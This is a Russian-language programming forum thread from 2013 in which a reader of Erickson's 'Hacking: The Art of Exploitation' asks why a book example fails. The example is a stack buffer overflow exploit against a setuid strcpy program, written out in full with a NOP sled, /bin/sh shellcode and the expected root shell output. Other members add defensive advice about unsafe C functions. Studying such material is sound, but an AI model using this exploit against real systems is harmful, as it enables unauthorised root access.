Форум программистов, компьютерный форум CyberForum.ru
Наши страницы

С++ для начинающих

Войти
Регистрация
Восстановить пароль
 
 
Рейтинг: Рейтинг темы: голосов - 24, средняя оценка - 4.79
TagaBenz
0 / 0 / 0
Регистрация: 04.03.2013
Сообщений: 21
#1

Хакинг. Искусство эксплойта - C++

25.03.2013, 00:58. Просмотров 3549. Ответов 33
Метки нет (Все метки)

Прежде исложить свою проблему хочу спросить, читал ли кто-нибудь и пробовал на практике задачи описанные в книге Джона Эриксона: "Хакинг. Искусство эксплойта" ?
ссылка на книгу: http://www.ozon.ru/context/detail/id...abenz&from=bar
0
Надоела реклама? Зарегистрируйтесь и она исчезнет полностью.
Similar
Эксперт
41792 / 34177 / 6122
Регистрация: 12.04.2006
Сообщений: 57,940
25.03.2013, 00:58
Здравствуйте! Я подобрал для вас темы с ответами на вопрос Хакинг. Искусство эксплойта (C++):

Wifi хакинг - Wi-Fi
Всем доброго времени суток! Искал подобную тему на форуме, не нашел, по этому решил создать, а так как речь идет о вафле, то принято...

Компьютерное искусство - Pascal
Всем привет. Кто может помочь решить эту задачу буду очень благодарен

Искусство веб-дизайна - где взять информацию для курсовой работы - Web-дизайн
Привет всем!:) Дали мне курсовую работу по теме "Искусство веб-дизайна". Я лично этим особо не увлекаюсь, хотелось бы посоветоваться с...

где можно скачать книгу Михаил Фленов: DirectX и Delphi. Искусство программирования (+CD)? - Delphi
добрый вечер, не подскажите где можно скачать книгу Михаил Фленов: DirectX и Delphi. Искусство программирования (+CD)? (а то уже часа два...

Дональд Кнут "искусство программирования" - насколько применимо на практике? - Программирование
Когда я что-то изучаю, всегда начинаю с самых основ, что бы понимать все до мельчайших подробностей. Мне хочется научиться не просто писать...

Читаю книгу Криса Касперски "Искусство дизассемблирования" - Assembler
Читаю книгу Криса Касперски "Искусство дизассемблирования", в которой автор рассказывает, каким образом можно производить модификацию...

33
Avazart
Нарушитель
Эксперт С++
7232 / 5404 / 294
Регистрация: 10.12.2010
Сообщений: 23,956
Записей в блоге: 17
25.03.2013, 01:46 #2
Это не форум хакеров, это форум программистов ...
0
MrGluck
Модератор
Эксперт CЭксперт С++
7423 / 4538 / 673
Регистрация: 29.11.2010
Сообщений: 12,319
25.03.2013, 03:11 #3
Avazart, там рассматриваются и аспекты С, С++, ASM.
По моему надо знать, что в твоем коде может породить дыру. Сам книгу сейчас добавил в список для прочтения.
0
taras atavin
3569 / 1752 / 91
Регистрация: 24.11.2009
Сообщений: 27,619
25.03.2013, 07:18 #4
ИМХО хакинг, обсуждаемый в контексте борьбы с ним - вполне нормальная тема для форума программистов.
0
BumerangSP
4286 / 1408 / 121
Регистрация: 16.12.2010
Сообщений: 2,941
Записей в блоге: 3
25.03.2013, 12:07 #5
Запрещено создание и распространение вредоносного ПО (вирусов), кряков и взлома лицензионного софта, а также публикация ссылок для их скачивания.
Все остальное можно.
0
Avazart
Нарушитель
Эксперт С++
7232 / 5404 / 294
Регистрация: 10.12.2010
Сообщений: 23,956
Записей в блоге: 17
25.03.2013, 15:43 #6
Цитата Сообщение от MrGluck Посмотреть сообщение
Avazart, там рассматриваются и аспекты С, С++, ASM.
По моему надо знать, что в твоем коде может породить дыру. Сам книгу сейчас добавил в список для прочтения.
Цитата Сообщение от taras atavin Посмотреть сообщение
ИМХО хакинг, обсуждаемый в контексте борьбы с ним - вполне нормальная тема для форума программистов.
ПРдон ... но не в разделе новичков ... ибо это наталкивает на мысль что хакинг только с целью хакинга ...
0
taras atavin
3569 / 1752 / 91
Регистрация: 24.11.2009
Сообщений: 27,619
25.03.2013, 15:45 #7
Новичок как раз всё равно не сможет хакнуть, а начать учиться защищать свой код ни когда не рано, так как именно новичковый код в первую очередь хакнут. Или предпочитаете снести тему разделом выше?
1
Kastaneda
Нарушитель
Эксперт С++
4676 / 2880 / 234
Регистрация: 12.12.2009
Сообщений: 7,314
Записей в блоге: 2
Завершенные тесты: 1
25.03.2013, 15:52 #8
с озона
Книга дает полное представление о программировании, машинной архитектуре, сетевых соединениях и хакерских приемах.
при этом книга 512 стр.
Ну ну
0
chizz
981 / 496 / 54
Регистрация: 19.03.2013
Сообщений: 3,094
Записей в блоге: 18
Завершенные тесты: 1
25.03.2013, 16:12 #9
Покупал эту книжку. Не осилил
А так чтиво интересное
0
taras atavin
3569 / 1752 / 91
Регистрация: 24.11.2009
Сообщений: 27,619
25.03.2013, 16:25 #10
Всё равно новичок не сможет хакнуть по книге: опубликованное уже пофиксено всеми, кроме ему подобных, а что то новое на основе прочитанного он пока не придумает. Защищаться же книга как раз научит хоть от чего то.
0
TagaBenz
0 / 0 / 0
Регистрация: 04.03.2013
Сообщений: 21
26.03.2013, 01:31  [ТС] #11
Всем спасибо за бурное обсуждение в моей темы)) А вот и собственно сами вопросы:
Иммется уязвия программа с правми рут.
C++
1
2
3
4
5
6
7
#include <string.h>
int main(int argc, char *argv[])
{
char buffer[500];
strcpy(buffer, argv[1]);
return 0;
}
(Уязвимость ее в том, что она принимает один аргумент и пытается поместить его данные, какие бы они не были в буффер размером 500 байт)

Ниже показан код эксплойта, который создает буфер и передает его уязвимой программе в надежде заставить ее выполнить внедренный в буфер шелкод, а не просто аварийно завершиться. Код эксплойта сначала получает текущий указатель стека и вычитает из него смещение. В данном случае смещение равно 0. Выделяется память для буфера (в куче), и весь он заполняется адресом возврата. Зателм первые 200 байт буфера заполняются NOP-цепочкой. После NOP-цепочки помещается шелкод, а в оставщийся части буфера сохраняется записанный адрес возврата. Наконец еще одна функция запускает уязвимую программу и передает ей специально сконструированный буфер.
C++
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
#include <iostream>
#include <stdlib.h>
#include <string.h>
#include <stdio.h>
using namespace std;
 
char shellcode[]=
"\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb\x16\x5b\x31\xc0"
"\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d"
"\x53\x0c\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73"
"\x68";
 
unsigned long sp(void)                   // Эта маленькая функция
{ __asm__("movl %esp, %eax");}   // возвращает указатель на стек
 
int main(int argc, char *argv[]){
 
int i, offset;
long esp, ret, *addr_ptr;
char *buffer, *ptr;
 
offset = 0;           // Задать смещение 0
esp = sp();          // Поместить текущий указатель стека в esp
ret = esp - offset; // Мы хотим перепесать адрес возврата
 
printf("Stack pointer (ESP) : 0x%x\n", static_cast<int>(esp));
printf(" Offset from ESP : 0x%x\n", offset);
printf("Desired return Addr : 0x%x\n", static_cast<int>(ret));
 
buffer = static_cast<char*>(malloc(600)); // Выделить для буфера 600 байт (в куче)
//buffer = malloc(600);
 
// Заполнить весь буфер нужным адресом возврата
ptr=buffer;
addr_ptr=(long *) ptr;
for(i=0; i<600; i+=4)
{ *(addr_ptr++)=ret;}
 
// Заполнить первые 200 байт буфера командами NOP
for(i=0; i<200; i++)
{buffer[i]='\x90';}
 
// Поместить шелкод после NOP-цепочки
ptr=buffer + 200;
for(i=0; i<strlen(shellcode); i++)
{ *(ptr++)=shellcode[i];}
 
// Завершить строку
buffer[600-1]=0;
 
// Вызываем программу и передаем в качестве аргумента построенный буфер
execl("./vuln", "vuln", buffer, NULL);
free(buffer);
return 0;
}
Так должен выглядеть результат выполнения программы:

Stack pointer (ESP) : 0xbffff978
Offset from ESP : 0x0
Desired Return Addr : 0xbffff978
sh-2. 05a# whoami
root
sh-2. 05a# [


Текстовые строки у меня выводит, адресс возврата переписывается, но не запускается сам шелкод. Программа была переписанна с С на С++ и компилятор стал ругаться на строку
C++
1
buffer = malloc(600);
Не может преобразовать из *viod в *char. Пришлось сделать это явным образом как видно в строке 30. МОжет ли быть ошибка в этом? Если нет тогда в чем? очень сильно прошу в помочь разобраться..

P.S.: Предлогаю перенести тему из раздела C++ для новичков, на книге стоит пометка Уровень подготовки читателей: Высокий. Да и новичкам потом кошмары сниться будут))))
0
Vourhey
Почетный модератор
6485 / 2259 / 123
Регистрация: 29.07.2006
Сообщений: 12,635
26.03.2013, 01:39 #12
Здесь кошмарного ничего нет. Запускаешь под дебагером и смотришь, куда у тебя передается управление на стеке при переполнении.
0
Friday
ну и долго меня небыло...
61 / 57 / 8
Регистрация: 24.03.2013
Сообщений: 173
26.03.2013, 01:49 #13
Надо будет полистать книжку на досуге)
0
MrGluck
Модератор
Эксперт CЭксперт С++
7423 / 4538 / 673
Регистрация: 29.11.2010
Сообщений: 12,319
26.03.2013, 05:32 #14
Цитата Сообщение от TagaBenz Посмотреть сообщение
Программа была переписанна с С на С++ и компилятор стал ругаться на строку
компилятор С++ не преобразовывает void* память, в отличии от компилятора С. Неверно ожидать другого поведения, даже не смотря на "капабилити". Но ошибки в этом быть не может.
1
taras atavin
3569 / 1752 / 91
Регистрация: 24.11.2009
Сообщений: 27,619
26.03.2013, 12:35 #15
Цитата Сообщение от TagaBenz Посмотреть сообщение
Иммется уязвия программа с правми рут.
не юзай strcopy, все переполнения от неё, от scanf и от sprintf: буфер они не создают, а размер измеряют, но не спрашивают.

Добавлено через 2 минуты
Цитата Сообщение от TagaBenz Посмотреть сообщение
Да и новичкам потом кошмары сниться будут))))
кошмары будут сниться не им, а наставникам, если таковые:
1. Имеются в наличии.
2. Начитаются новичковых кривоэксплойнтов и кривозащит от них.
А новички кошмары просто напишут.

Добавлено через 2 часа 29 минут
Как защититься от эксплойнта на стр. 131? И куда он предалагает загрузить его адрес? Предыдущие понятны: порча адреса возврата и указателей на функции, не пользоваться: strcpy, printf, sprintf и scanf, не писать собственных функций со спецификаторами записи в форматных строках. А этот не понятен.
1
26.03.2013, 12:35
MoreAnswers
Эксперт
37091 / 29110 / 5898
Регистрация: 17.06.2006
Сообщений: 43,301
26.03.2013, 12:35
Привет! Вот еще темы с ответами:

Алгоритм чтения книги "Искусство программирования" - Кнут - Программирование
Решил начать читать данную книгу, в самом начале встретил некий алгоритм, для чтения серии данных книг, стоит ли придерживаться его или...


Искать еще темы с ответами

Или воспользуйтесь поиском по форуму:
15
Ответ Создать тему
Опции темы

КиберФорум - форум программистов, компьютерный форум, программирование
Powered by vBulletin® Version 3.8.9
Copyright ©2000 - 2017, vBulletin Solutions, Inc.
Рейтинг@Mail.ru